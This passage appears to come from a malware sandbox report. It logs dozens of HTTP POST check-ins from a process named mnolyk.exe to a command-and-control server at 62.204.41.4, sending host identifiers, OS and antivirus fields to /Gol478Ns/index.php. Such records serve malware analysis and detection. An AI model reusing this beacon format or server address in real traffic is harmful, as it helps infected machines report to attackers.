Feb 6, 2023 18:37:08.750838995 CET	712	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:08.815830946 CET	712	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	49750	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:03.933991909 CET	458	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:03.998970985 CET	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.7	49987	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:08.994235992 CET	713	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:09.058456898 CET	713	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.7	49988	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:09.232773066 CET	714	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:09.298605919 CET	714	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.7	49989	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:09.476583958 CET	715	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:09.540498972 CET	715	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.7	49990	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:09.711791992 CET	716	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:09.775254011 CET	716	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.7	49991	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:09.959911108 CET	717	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:10.023943901 CET	717	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.7	49992	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:10.200128078 CET	718	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:10.267174006 CET	718	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.7	49993	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:10.446984053 CET	719	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:10.509741068 CET	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.7	49994	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:10.684632063 CET	720	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:10.749183893 CET	720	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.7	49995	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:11.226044893 CET	721	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:11.294483900 CET	721	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.7	49996	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:11.560688972 CET	722	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:11.626969099 CET	722	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	49751	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:04.175860882 CET	459	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:04.240720034 CET	459	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.7	49997	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:12.438412905 CET	723	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:12.506864071 CET	723	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.7	49998	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:12.834460020 CET	724	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:12.898948908 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.7	49999	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:14.145160913 CET	725	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:14.210385084 CET	725	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.7	50000	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:14.484343052 CET	726	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:14.549825907 CET	726	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.7	50001	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:14.735616922 CET	727	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:14.800014973 CET	727	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.7	50002	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:14.985690117 CET	728	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:15.052015066 CET	728	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.7	50003	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:15.250782967 CET	729	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:15.315639019 CET	729	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.7	50004	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:15.494599104 CET	730	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:15.559858084 CET	730	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.7	50005	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:15.731218100 CET	731	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
